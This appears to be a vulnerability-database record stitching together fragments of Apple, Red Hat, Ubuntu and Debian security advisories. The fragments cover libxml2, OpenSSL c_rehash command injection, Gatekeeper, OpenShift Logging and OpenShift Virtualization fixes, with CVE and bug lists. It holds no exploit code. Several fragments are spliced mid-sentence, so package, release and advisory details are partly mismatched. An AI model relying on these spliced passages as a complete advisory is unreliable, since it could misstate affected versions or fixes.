device. To\ncheck that the iPhone, iPod touch, or iPad has been updated: *\nNavigate to Settings * Select General * Select About. The version\nafter applying this update will be \"iOS 15.5 and iPadOS 15.5\". \nAll information is also posted on the Apple Security Updates\nweb site: https://support.apple.com/en-us/HT201222. \n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEePiLW1MrMjw19XzoeC9qKD1prhgFAmKC1TQACgkQeC9qKD1p\nrhh9PRAApeuHnWvZRxSW/QArItDF2fA1eXCu7n9BwPA6CoqrU7v7aR6H/NQ3wes6\nxOjoRccHRCWRJ12RubM06ggC+WA/MLb96t2Wc4IUoFDkI3G6fp/I3aHpSONv4YMt\nEoHSGMpJ3qAb6Z60mIMcshsCtyv9k4LxpjOTnHKRLp/M4JLWG4CanOGpN2u/wPPV\nTpRY4jkZlAdvQK3qrPmA8aO5sWnbh5l//kUS6IL649seZQFUeZdz7QUyodjjqr2/\nXWyqsQC4mqVphxwvWDWA5J6/Zf7C7hNdZ1BE+SPpLhjEZlU6IYBFY2PLrg9NDTv8\nYMZpftlm5HQo3qmy/HLoiF8bIqgtdz+TpgNiT+TYz9+/pvP/hyGbX6xF9esKBVjj\n+1OUnd2GaLjSdY7o9WOtZgSJQxi1/R1X1+DjY1vI+d/TQZ+Sz58Me90R99aWc+Gc\n1B8e6FhjwT48rHJiuIw75ZW1orpUX6OL5vqdge0H1aJXm7EEUhByZvm2E2DajKu2\nmp2jr01UZyb3ro0qE1zpNitNORWAdvrlriIJxFVxtxW4MygMn8ThJ/Jz2LjquHvT\nEwvCyB9jaqPKja3b/dwzf/nowjw+aocxOjelW2Q/HcyR13YF2ZHd1+hNtG/7Isrx\nWIpI9nNAQQ2LCQIgL7/xCn6Yni9t3le3+eU+cdafoqJKTpETNbk=\n=OMfW\n-----END PGP SIGNATURE-----\n\n\n. Summary:\n\nAn update for libxml2 is now available for Red Hat Enterprise Linux 8. Relevant releases/architectures:\n\nRed Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64\n\n3. Description:\n\nThe libxml2 library is a development toolbox providing the implementation\nof various XML standards. \n\nSecurity Fix(es):\n\n* libxml2: Use-after-free of ID and IDREF attributes (CVE-2022-23308)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe desktop must be restarted (log out, then log back in) for this update\nto take effect. Package List:\n\nRed Hat Enterprise Linux AppStream (v. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. Description:\n\nRed Hat Openshift GitOps is a declarative way to implement continuous\ndeployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):\n\n2062751 - CVE-2022-24730 argocd: path traversal and improper access control allows leaking out-of-bound files\n2062755 - CVE-2022-24731 argocd: path traversal allows leaking out-of-bound files\n2064682 - CVE-2022-1025 Openshift-Gitops: Improper access control allows admin privilege escalation\n\n5. Description:\n\nThis release adds the new Apache HTTP Server 2.4.37 Service Pack 11\npackages that are part of the JBoss Core Services offering. \n\nThis release serves as a replacement for Red Hat JBoss Core Services Apache\nHTTP Server 2.4.37 Service Pack 10 and includes bug fixes and enhancements. \nRefer to the Release Notes for information on the most significant bug\nfixes and enhancements included in this release. Bugs fixed (https://bugzilla.redhat.com/):\n\n1950515 - CVE-2021-3541 libxml2: Exponential entity expansion attack bypasses all existing protection mechanisms\n1954225 - CVE-2021-3516 libxml2: Use-after-free in xmlEncodeEntitiesInternal() in entities.c\n1954232 - CVE-2021-3517 libxml2: Heap-based buffer overflow in xmlEncodeEntitiesInternal() in entities.c\n1954242 - CVE-2021-3518 libxml2: Use-after-free in xmlXIncludeDoProcess() in xinclude.c\n1956522 - CVE-2021-3537 libxml2: NULL pointer dereference when post-validating mixed content parsed in recovery mode\n2056913 - CVE-2022-23308 libxml2: Use-after-free of ID and IDREF attributes\n2062202 - CVE-2022-0778 openssl: Infinite loop in BN_mod_sqrt() reachable when parsing certificates\n2064321 - CVE-2022-22720 httpd: Errors encountered during the discarding of request body lead to HTTP request smuggling\n\n6. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n==================================================================== \nRed Hat Security Advisory\n\nSynopsis: Moderate: Gatekeeper Operator v0.2 security updates and bug fixes\nAdvisory ID: RHSA-2022:1081-01\nProduct: Red Hat ACM\nAdvisory URL: https://access.redhat.com/errata/RHSA-2022:1081\nIssue date: 2022-03-28\nCVE Names: CVE-2019-5827 CVE-2019-13750 CVE-2019-13751\n CVE-2019-17594 CVE-2019-17595 CVE-2019-18218\n CVE-2019-19603 CVE-2019-20838 CVE-2020-12762\n CVE-2020-13435 CVE-2020-14155 CVE-2020-16135\n CVE-2020-24370 CVE-2021-3200 CVE-2021-3445\n CVE-2021-3521 CVE-2021-3580 CVE-2021-3712\n CVE-2021-3800 CVE-2021-3999 CVE-2021-20231\n CVE-2021-20232 CVE-2021-22876 CVE-2021-22898\n CVE-2021-22925 CVE-2021-23177 CVE-2021-28153\n CVE-2021-31566 CVE-2021-33560 CVE-2021-36084\n CVE-2021-36085 CVE-2021-36086 CVE-2021-36087\n CVE-2021-42574 CVE-2021-43565 CVE-2022-23218\n CVE-2022-23219 CVE-2022-23308 CVE-2022-23806\n CVE-2022-24407\n====================================================================\n1. Summary:\n\nGatekeeper Operator v0.2\n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\n2. Description:\n\nGatekeeper Operator v0.2\n\nGatekeeper is an open source project that applies the OPA Constraint\nFramework to enforce policies on your Kubernetes clusters. \n\nThis advisory contains the container images for Gatekeeper that include\nsecurity updates, and container upgrades. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score,\nwhich gives a detailed severity rating, is available for each vulnerability\nfrom the CVE link(s) in the References section. \n\nNote: Gatekeeper support from the Red Hat support team is limited cases\nwhere it is integrated and used with Red Hat Advanced Cluster Management\nfor Kubernetes. For support options for any other use, see the Gatekeeper\nopen source project website at:\nhttps://open-policy-agent.github.io/gatekeeper/website/docs/howto/. \n\nSecurity updates:\n\n* golang.org/x/crypto: empty plaintext packet causes panic (CVE-2021-43565)\n\n* golang: crypto/elliptic IsOnCurve returns true for invalid field elements\n(CVE-2022-23806)\n\n3. \n\nThe requirements to apply the upgraded images are different whether or not\nyou\nused the operator. Complete the following steps, depending on your\ninstallation:\n\n- - Upgrade gatekeeper operator:\nThe gatekeeper operator that is installed by the gatekeeper operator policy\nhas\n`installPlanApproval` set to `Automatic`. This setting means the operator\nwill\nbe upgraded automatically when there is a new version of the operator. No\nfurther action is required for upgrade. If you changed the setting for\n`installPlanApproval` to `manual`, then you must view each cluster to\nmanually\napprove the upgrade to the operator. \n\n- - Upgrade gatekeeper without the operator:\nThe gatekeeper version is specified as part of the Gatekeeper CR in the\ngatekeeper operator policy. To upgrade the gatekeeper version:\na) Determine the latest version of gatekeeper by visiting:\nhttps://catalog.redhat.com/software/containers/rhacm2/gatekeeper-rhel8/5fadb4a18d9a79d2f438a5d9. \nb) Click the tag dropdown, and find the latest static tag. An example tag\nis\n\u0027v3.3.0-1\u0027. \nc) Edit the gatekeeper operator policy and update the image tag to use the\nlatest static tag. For example, you might change this line to image:\n\u0027registry.redhat.io/rhacm2/gatekeeper-rhel8:v3.3.0-1\u0027. \n\nRefer to https://open-policy-agent.github.io/gatekeeper/website/docs/howto/\nfor additional information. \n\n4. Bugs fixed (https://bugzilla.redhat.com/):\n\n2030787 - CVE-2021-43565 golang.org/x/crypto: empty plaintext packet causes panic\n2053429 - CVE-2022-23806 golang: crypto/elliptic IsOnCurve returns true for invalid field elements\n\n5. References:\n\nhttps://access.redhat.com/security/cve/CVE-2019-5827\nhttps://access.redhat.com/security/cve/CVE-2019-13750\nhttps://access.redhat.com/security/cve/CVE-2019-13751\nhttps://access.redhat.com/security/cve/CVE-2019-17594\nhttps://access.redhat.com/security/cve/CVE-2019-17595\nhttps://access.redhat.com/security/cve/CVE-2019-18218\nhttps://access.redhat.com/security/cve/CVE-2019-19603\nhttps://access.redhat.com/security/cve/CVE-2019-20838\nhttps://access.redhat.com/security/cve/CVE-2020-12762\nhttps://access.redhat.com/security/cve/CVE-2020-13435\nhttps://access.redhat.com/security/cve/CVE-2020-14155\nhttps://access.redhat.com/security/cve/CVE-2020-16135\nhttps://access.redhat.com/security/cve/CVE-2020-24370\nhttps://access.redhat.com/security/cve/CVE-2021-3200\nhttps://access.redhat.com/security/cve/CVE-2021-3445\nhttps://access.redhat.com/security/cve/CVE-2021-3521\nhttps://access.redhat.com/security/cve/CVE-2021-3580\nhttps://access.redhat.com/security/cve/CVE-2021-3712\nhttps://access.redhat.com/security/cve/CVE-2021-3800\nhttps://access.redhat.com/security/cve/CVE-2021-3999\nhttps://access.redhat.com/security/cve/CVE-2021-20231\nhttps://access.redhat.com/security/cve/CVE-2021-20232\nhttps://access.redhat.com/security/cve/CVE-2021-22876\nhttps://access.redhat.com/security/cve/CVE-2021-22898\nhttps://access.redhat.com/security/cve/CVE-2021-22925\nhttps://access.redhat.com/security/cve/CVE-2021-23177\nhttps://access.redhat.com/security/cve/CVE-2021-28153\nhttps://access.redhat.com/security/cve/CVE-2021-31566\nhttps://access.redhat.com/security/cve/CVE-2021-33560\nhttps://access.redhat.com/security/cve/CVE-2021-36084\nhttps://access.redhat.com/security/cve/CVE-2021-36085\nhttps://access.redhat.com/security/cve/CVE-2021-36086\nhttps://access.redhat.com/security/cve/CVE-2021-36087\nhttps://access.redhat.com/security/cve/CVE-2021-42574\nhttps://access.redhat.com/security/cve/CVE-2021-43565\nhttps://access.redhat.com/security/cve/CVE-2022-23218\nhttps://access.redhat.com/security/cve/CVE-2022-23219\nhttps://access.redhat.com/security/cve/CVE-2022-23308\nhttps://access.redhat.com/security/cve/CVE-2022-23806\nhttps://access.redhat.com/security/cve/CVE-2022-24407\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://open-policy-agent.github.io/gatekeeper/website/docs/howto/\n\n6. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2022 Red Hat, Inc. ==========================================================================\nUbuntu Security Notice USN-5324-1\nMarch 14, 2022\n\nlibxml2 vulnerability\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 21.10\n- Ubuntu 20.04 LTS\n- Ubuntu 18.04 LTS\n\nSummary:\n\nlibxml2 could be made to crash or run programs if it opened a specially\ncrafted file. An\nattacker could use this issue to cause libxml2 to crash, resulting in a\ndenial of service, or possibly execute arbitrary code. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 21.10:\n libxml2 2.9.12+dfsg-4ubuntu0.1\n libxml2-utils 2.9.12+dfsg-4ubuntu0.1\n\nUbuntu 20.04 LTS:\n libxml2 2.9.10+dfsg-5ubuntu0.20.04.2\n libxml2-utils 2.9.10+dfsg-5ubuntu0.20.04.2\n\nUbuntu 18.04 LTS:\n libxml2 2.9.4+dfsg1-6.1ubuntu1.5\n libxml2-utils 2.9.4+dfsg1-6.1ubuntu1.5\n\nIn general, a standard system update will make all the necessary changes",
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VAR-202206-1428
Vulnerability from variot - Updated: 2026-03-09 20:23In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehash script does not properly sanitise shell metacharacters to prevent command injection were found by code review. When the CVE-2022-1292 was fixed it was not discovered that there are other places in the script where the file names of certificates being hashed were possibly passed to a command executed through the shell. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands with the privileges of the script. Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool. Fixed in OpenSSL 3.0.4 (Affected 3.0.0,3.0.1,3.0.2,3.0.3). Fixed in OpenSSL 1.1.1p (Affected 1.1.1-1.1.1o). Fixed in OpenSSL 1.0.2zf (Affected 1.0.2-1.0.2ze). (CVE-2022-2068). Description:
Red Hat Ceph Storage is a scalable, open, software-defined storage platform that combines the most stable version of the Ceph storage system with a Ceph management platform, deployment utilities, and support services.
Space precludes documenting all of these changes in this advisory. Bugs fixed (https://bugzilla.redhat.com/):
2031228 - CVE-2021-43813 grafana: directory traversal vulnerability 2044628 - CVE-2022-21673 grafana: Forward OAuth Identity Token can allow users to access some data sources 2115198 - build ceph containers for RHCS 5.2 release
For the oldstable distribution (buster), this problem has been fixed in version 1.1.1n-0+deb10u3.
For the stable distribution (bullseye), this problem has been fixed in version 1.1.1n-0+deb11u3.
We recommend that you upgrade your openssl packages.
For the detailed security status of openssl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openssl
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Description:
Logging Subsystem 5.5.0 - Red Hat OpenShift
Security Fix(es):
-
kubeclient: kubeconfig parsing error can lead to MITM attacks (CVE-2022-0759)
-
golang: compress/gzip: stack exhaustion in Reader.Read (CVE-2022-30631)
-
golang: out-of-bounds read in golang.org/x/text/language leads to DoS (CVE-2021-38561)
-
prometheus/client_golang: Denial of service using InstrumentHandlerCounter (CVE-2022-21698)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
- Bugs fixed (https://bugzilla.redhat.com/):
2045880 - CVE-2022-21698 prometheus/client_golang: Denial of service using InstrumentHandlerCounter 2058404 - CVE-2022-0759 kubeclient: kubeconfig parsing error can lead to MITM attacks 2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS 2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read
- JIRA issues fixed (https://issues.jboss.org/):
LOG-1415 - Allow users to tune fluentd
LOG-1539 - Events and CLO csv are not collected after running oc adm must-gather --image=$downstream-clo-image
LOG-1713 - Reduce Permissions granted for prometheus-k8s service account
LOG-2063 - Collector pods fail to start when a Vector only Cluster Logging instance is created.
LOG-2134 - The infra logs are sent to app-xx indices
LOG-2159 - Cluster Logging Pods in CrashLoopBackOff
LOG-2165 - [Vector] Default log level debug makes it hard to find useful error/failure messages.
LOG-2167 - [Vector] Collector pods fails to start with configuration error when using Kafka SASL over SSL
LOG-2169 - [Vector] Logs not being sent to Kafka with SASL plaintext.
LOG-2172 - [vector]The openshift-apiserver and ovn audit logs can not be collected.
LOG-2242 - Log file metric exporter is still following /var/log/containers files.
LOG-2243 - grafana-dashboard-cluster-logging should be deleted once clusterlogging/instance was removed
LOG-2264 - Logging link should contain an icon
LOG-2274 - [Logging 5.5] EO doesn't recreate secrets kibana and kibana-proxy after removing them.
LOG-2276 - Fluent config format is hard to read via configmap
LOG-2290 - ClusterLogging Instance status in not getting updated in UI
LOG-2291 - [release-5.5] Events listing out of order in Kibana 6.8.1
LOG-2294 - [Vector] Vector internal metrics are not exposed via HTTPS due to which OpenShift Monitoring Prometheus service cannot scrape the metrics endpoint.
LOG-2300 - [Logging 5.5]ES pods can't be ready after removing secret/signing-elasticsearch
LOG-2303 - [Logging 5.5] Elasticsearch cluster upgrade stuck
LOG-2308 - configmap grafana-dashboard-elasticsearch is being created and deleted continously
LOG-2333 - Journal logs not reaching Elasticsearch output
LOG-2337 - [Vector] Missing @ prefix from the timestamp field in log record.
LOG-2342 - [Logging 5.5] Kibana pod can't connect to ES cluster after removing secret/signing-elasticsearch: "x509: certificate signed by unknown authority"
LOG-2384 - Provide a method to get authenticated from GCP
LOG-2411 - [Vector] Audit logs forwarding not working.
LOG-2412 - CLO's loki output url is parsed wrongly
LOG-2413 - PriorityClass cluster-logging is deleted if provide an invalid log type
LOG-2418 - EO supported time units don't match the units specified in CRDs.
LOG-2439 - Telemetry: the managedStatus&healthStatus&version values are wrong
LOG-2440 - [loki-operator] Live tail of logs does not work on OpenShift
LOG-2444 - The write index is removed when the size of the index > diskThresholdPercent% * total size.
LOG-2460 - [Vector] Collector pods fail to start on a FIPS enabled cluster.
LOG-2461 - [Vector] Vector auth config not generated when user provided bearer token is used in a secret for connecting to LokiStack.
LOG-2463 - Elasticsearch operator repeatedly prints error message when checking indices
LOG-2474 - EO shouldn't grant cluster-wide permission to system:serviceaccount:openshift-monitoring:prometheus-k8s when ES cluster is deployed. [openshift-logging 5.5]
LOG-2522 - CLO supported time units don't match the units specified in CRDs.
LOG-2525 - The container's logs are not sent to separate index if the annotation is added after the pod is ready.
LOG-2546 - TLS handshake error on loki-gateway for FIPS cluster
LOG-2549 - [Vector] [master] Journald logs not sent to the Log store when using Vector as collector.
LOG-2554 - [Vector] [master] Fallback index is not used when structuredTypeKey is missing from JSON log data
LOG-2588 - FluentdQueueLengthIncreasing rule failing to be evaluated.
LOG-2596 - [vector]the condition in [transforms.route_container_logs] is inaccurate
LOG-2599 - Supported values for level field don't match documentation
LOG-2605 - $labels.instance is empty in the message when firing FluentdNodeDown alert
LOG-2609 - fluentd and vector are unable to ship logs to elasticsearch when cluster-wide proxy is in effect
LOG-2619 - containers violate PodSecurity -- Log Exporation
LOG-2627 - containers violate PodSecurity -- Loki
LOG-2649 - Level Critical should match the beginning of the line as the other levels
LOG-2656 - Logging uses deprecated v1beta1 apis
LOG-2664 - Deprecated Feature logs causing too much noise
LOG-2665 - [Logging 5.5] Sometimes collector fails to push logs to Elasticsearch cluster
LOG-2693 - Integration with Jaeger fails for ServiceMonitor
LOG-2700 - [Vector] vector container can't start due to "unknown field pod_annotation_fields" .
LOG-2703 - Collector DaemonSet is not removed when CLF is deleted for fluentd/vector only CL instance
LOG-2725 - Upgrade logging-eventrouter Golang version and tags
LOG-2731 - CLO keeps reporting Reconcile ServiceMonitor retry error and Reconcile Service retry error after creating clusterlogging.
LOG-2732 - Prometheus Operator pod throws 'skipping servicemonitor' error on Jaeger integration
LOG-2742 - unrecognized outputs when use the sts role secret
LOG-2746 - CloudWatch forwarding rejecting large log events, fills tmpfs
LOG-2749 - OpenShift Logging Dashboard for Elastic Shards shows "active_primary" instead of "active" shards.
LOG-2753 - Update Grafana configuration for LokiStack integration on grafana/loki repo
LOG-2763 - [Vector]{Master} Vector's healthcheck fails when forwarding logs to Lokistack.
LOG-2764 - ElasticSearch operator does not respect referencePolicy when selecting oauth-proxy image
LOG-2765 - ingester pod can not be started in IPv6 cluster
LOG-2766 - [vector] failed to parse cluster url: invalid authority IPv6 http-proxy
LOG-2772 - arn validation failed when role_arn=arn:aws-us-gov:xxx
LOG-2773 - No cluster-logging-operator-metrics service in logging 5.5
LOG-2778 - [Vector] [OCP 4.11] SA token not added to Vector config when connecting to LokiStack instance without CLF creds secret required by LokiStack.
LOG-2784 - Japanese log messages are garbled at Kibana
LOG-2793 - [Vector] OVN audit logs are missing the level field.
LOG-2864 - [vector] Can not sent logs to default when loki is the default output in CLF
LOG-2867 - [fluentd] All logs are sent to application tenant when loki is used as default logstore in CLF.
LOG-2873 - [Vector] Cannot configure CPU/Memory requests/limits when using Vector as collector.
LOG-2875 - Seeing a black rectangle box on the graph in Logs view
LOG-2876 - The link to the 'Container details' page on the 'Logs' screen throws error
LOG-2877 - When there is no query entered, seeing error message on the Logs view
LOG-2882 - RefreshIntervalDropdown and TimeRangeDropdown always set back to its original values when switching between pages in 'Logs' screen
- References:
https://access.redhat.com/security/cve/CVE-2021-38561 https://access.redhat.com/security/cve/CVE-2022-0759 https://access.redhat.com/security/cve/CVE-2022-1012 https://access.redhat.com/security/cve/CVE-2022-1292 https://access.redhat.com/security/cve/CVE-2022-1586 https://access.redhat.com/security/cve/CVE-2022-1785 https://access.redhat.com/security/cve/CVE-2022-1897 https://access.redhat.com/security/cve/CVE-2022-1927 https://access.redhat.com/security/cve/CVE-2022-2068 https://access.redhat.com/security/cve/CVE-2022-2097 https://access.redhat.com/security/cve/CVE-2022-21698 https://access.redhat.com/security/cve/CVE-2022-30631 https://access.redhat.com/security/cve/CVE-2022-32250 https://access.redhat.com/security/updates/classification/#important
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2022 Red Hat, Inc. Summary:
Red Hat OpenShift Virtualization release 4.12 is now available with updates to packages and images that fix several bugs and add enhancements. Description:
OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform.
RHEL-8-CNV-4.12
============= bridge-marker-container-v4.12.0-24 cluster-network-addons-operator-container-v4.12.0-24 cnv-containernetworking-plugins-container-v4.12.0-24 cnv-must-gather-container-v4.12.0-58 hco-bundle-registry-container-v4.12.0-769 hostpath-csi-driver-container-v4.12.0-30 hostpath-provisioner-container-v4.12.0-30 hostpath-provisioner-operator-container-v4.12.0-31 hyperconverged-cluster-operator-container-v4.12.0-96 hyperconverged-cluster-webhook-container-v4.12.0-96 kubemacpool-container-v4.12.0-24 kubevirt-console-plugin-container-v4.12.0-182 kubevirt-ssp-operator-container-v4.12.0-64 kubevirt-tekton-tasks-cleanup-vm-container-v4.12.0-55 kubevirt-tekton-tasks-copy-template-container-v4.12.0-55 kubevirt-tekton-tasks-create-datavolume-container-v4.12.0-55 kubevirt-tekton-tasks-create-vm-from-template-container-v4.12.0-55 kubevirt-tekton-tasks-disk-virt-customize-container-v4.12.0-55 kubevirt-tekton-tasks-disk-virt-sysprep-container-v4.12.0-55 kubevirt-tekton-tasks-modify-vm-template-container-v4.12.0-55 kubevirt-tekton-tasks-operator-container-v4.12.0-40 kubevirt-tekton-tasks-wait-for-vmi-status-container-v4.12.0-55 kubevirt-template-validator-container-v4.12.0-32 libguestfs-tools-container-v4.12.0-255 ovs-cni-marker-container-v4.12.0-24 ovs-cni-plugin-container-v4.12.0-24 virt-api-container-v4.12.0-255 virt-artifacts-server-container-v4.12.0-255 virt-cdi-apiserver-container-v4.12.0-72 virt-cdi-cloner-container-v4.12.0-72 virt-cdi-controller-container-v4.12.0-72 virt-cdi-importer-container-v4.12.0-72 virt-cdi-operator-container-v4.12.0-72 virt-cdi-uploadproxy-container-v4.12.0-71 virt-cdi-uploadserver-container-v4.12.0-72 virt-controller-container-v4.12.0-255 virt-exportproxy-container-v4.12.0-255 virt-exportserver-container-v4.12.0-255 virt-handler-container-v4.12.0-255 virt-launcher-container-v4.12.0-255 virt-operator-container-v4.12.0-255 virtio-win-container-v4.12.0-10 vm-network-latency-checkup-container-v4.12.0-89
- Bugs fixed (https://bugzilla.redhat.com/):
1719190 - Unable to cancel live-migration if virt-launcher pod in pending state
2023393 - [CNV] [UI]Additional information needed for cloning when default storageclass in not defined in target datavolume
2030801 - CVE-2021-44716 golang: net/http: limit growth of header canonicalization cache
2030806 - CVE-2021-44717 golang: syscall: don't close fd 0 on ForkExec error
2040377 - Unable to delete failed VMIM after VM deleted
2046298 - mdevs not configured with drivers installed, if mdev config added to HCO CR before drivers are installed
2052556 - Metric "kubevirt_num_virt_handlers_by_node_running_virt_launcher" reporting incorrect value
2053429 - CVE-2022-23806 golang: crypto/elliptic: IsOnCurve returns true for invalid field elements
2053532 - CVE-2022-23772 golang: math/big: uncontrolled memory consumption due to an unhandled overflow via Rat.SetString
2053541 - CVE-2022-23773 golang: cmd/go: misinterpretation of branch names can lead to incorrect access control
2060499 - [RFE] Cannot add additional service (or other objects) to VM template
2069098 - Large scale |VMs migration is slow due to low migration parallelism
2070366 - VM Snapshot Restore hangs indefinitely when backed by a snapshotclass
2071491 - Storage Throughput metrics are incorrect in Overview
2072797 - Metrics in Virtualization -> Overview period is not clear or configurable
2072821 - Top Consumers of Storage Traffic in Kubevirt Dashboard giving unexpected numbers
2079916 - KubeVirt CR seems to be in DeploymentInProgress state and not recovering
2084085 - CVE-2022-29526 golang: syscall: faccessat checks wrong group
2086285 - [dark mode] VirtualMachine - in the Utilization card the percentages and the graphs not visible enough in dark mode
2086551 - Min CPU feature found in labels
2087724 - Default template show no boot source even there are auto-upload boot sources
2088129 - [SSP] webhook does not comply with restricted security context
2088464 - [CDI] cdi-deployment does not comply with restricted security context
2089391 - Import gzipped raw file causes image to be downloaded and uncompressed to TMPDIR
2089744 - HCO should label its control plane namespace to admit pods at privileged security level
2089751 - 4.12.0 containers
2089804 - 4.12.0 rpms
2091856 - ?Edit BootSource? action should have more explicit information when disabled
2092793 - CVE-2022-30629 golang: crypto/tls: session tickets lack random ticket_age_add
2092796 - [RFE] CPU|Memory display in the template card is not consistent with the display in the template drawer
2093771 - The disk source should be PVC if the template has no auto-update boot source
2093996 - kubectl get vmi API should always return primary interface if exist
2094202 - Cloud-init username field should have hint
2096285 - KubeVirt CR API documentation is missing docs for many fields
2096780 - [RFE] Add ssh-key and sysprep to template scripts tab
2097436 - Online disk expansion ignores filesystem overhead change
2097586 - AccessMode should stay on ReadWriteOnce while editing a disk with storage class HPP
2099556 - [RFE] Add option to enable RDP service for windows vm
2099573 - [RFE] Improve template's message about not editable
2099923 - [RFE] Merge "SSH access" and "SSH command" into one
2100290 - Error is not dismissed on catalog review page
2100436 - VM list filtering ignores VMs in error-states
2100442 - [RFE] allow enabling and disabling SSH service while VM is shut down
2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS
2100629 - Update nested support KBASE article
2100679 - The number of hardware devices is not correct in vm overview tab
2100682 - All hardware devices get deleted while just delete one
2100684 - Workload profile are not editable during creation and after creation
2101144 - VM filter has two "Other" checkboxes which are triggered together
2101164 - [dark mode] Number of alerts in Alerts card not visible enough in dark mode
2101167 - Edit buttons clickable area is too large.
2101333 - [e2e] elements on Template Scheduling tab are missing proper data-test-id
2101335 - Clone action enabled in VM list kebab button for a VM in CrashLoopBackOff state
2101390 - Easy to miss the "tick" when adding GPU device to vm via UI
2101394 - [e2e] elements on VM Scripts tab are missing proper data-test-id
2101423 - wrong user name on using ignition
2101430 - Using CLOUD_USER_PASSWORD in Templates parameters breaks VM review page
2101445 - "Pending changes - Boot Order"
2101454 - Cannot add PVC boot source to template in 'Edit Boot Source Reference' view as a non-priv user
2101499 - Cannot add NIC to VM template as non-priv user
2101501 - NAME parameter in VM template has no effect.
2101628 - non-priv user cannot load dataSource while edit template's rootdisk
2101667 - VMI view is not aligned with vm and tempates
2101681 - All templates are labeling "source available" in template list page
2102074 - VM Creation time on VM Overview Details card lacks string
2102125 - vm clone modal is displaying DV size instead of PVC size
2102132 - align the utilization card of single VM overview with the design
2102138 - Should the word "new" be removed from "Create new VirtualMachine from catalog"?
2102256 - Add button moved to right
2102448 - VM disk is deleted by uncheck "Delete disks (1x)" on delete modal
2102475 - Template 'vm-template-example' should be filtered by 'Fedora' rather than 'Other'
2102561 - sysprep-info should link to downstream doc
2102737 - Clone a VM should lead to vm overview tab
2102740 - "Save" button on vm clone modal should be "Clone"
2103806 - "404: Not Found" appears shortly by clicking the PVC link on vm disk tab
2103807 - PVC is not named by VM name while creating vm quickly
2103817 - Workload profile values in vm details should align with template's value
2103844 - VM nic model is empty
2104331 - VM list page scroll up automatically
2104402 - VM create button is not enabled while adding multiple environment disks
2104422 - Storage status report "OpenShift Data Foundation is not available" even the operator is installed
2104424 - Enable descheduler or hide it on template's scheduling tab
2104479 - [4.12] Cloned VM's snapshot restore fails if the source VM disk is deleted
2104480 - Alerts in VM overview tab disappeared after a few seconds
2104785 - "Add disk" and "Disks" are on the same line
2104859 - [RFE] Add "Copy SSH command" to VM action list
2105257 - Can't set log verbosity level for virt-operator pod
2106175 - All pages are crashed after visit Virtualization -> Overview
2106963 - Cannot add configmap for windows VM
2107279 - VM Template's bootable disk can be marked as bootable
2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read
2107371 - CVE-2022-30630 golang: io/fs: stack exhaustion in Glob
2107374 - CVE-2022-1705 golang: net/http: improper sanitization of Transfer-Encoding header
2107376 - CVE-2022-1962 golang: go/parser: stack exhaustion in all Parse functions
2107383 - CVE-2022-32148 golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working
2107386 - CVE-2022-30632 golang: path/filepath: stack exhaustion in Glob
2107388 - CVE-2022-30635 golang: encoding/gob: stack exhaustion in Decoder.Decode
2107390 - CVE-2022-28131 golang: encoding/xml: stack exhaustion in Decoder.Skip
2107392 - CVE-2022-30633 golang: encoding/xml: stack exhaustion in Unmarshal
2108339 - datasource does not provide timestamp when updated
2108638 - When chosing a vm or template while in all-namespace, and returning to list, namespace is changed
2109818 - Upstream metrics documentation is not detailed enough
2109975 - DataVolume fails to import "cirros-container-disk-demo" image
2110256 - Storage -> PVC -> upload data, does not support source reference
2110562 - CNV introduces a compliance check fail in "ocp4-moderate" profile - routes-protected-by-tls
2111240 - GiB changes to B in Template's Edit boot source reference modal
2111292 - kubevirt plugin console is crashed after creating a vm with 2 nics
2111328 - kubevirt plugin console crashed after visit vmi page
2111378 - VM SSH command generated by UI points at api VIP
2111744 - Cloned template should not label app.kubernetes.io/name: common-templates
2111794 - the virtlogd process is taking too much RAM! (17468Ki > 17Mi)
2112900 - button style are different
2114516 - Nothing happens after clicking on Fedora cloud image list link
2114636 - The style of displayed items are not unified on VM tabs
2114683 - VM overview tab is crashed just after the vm is created
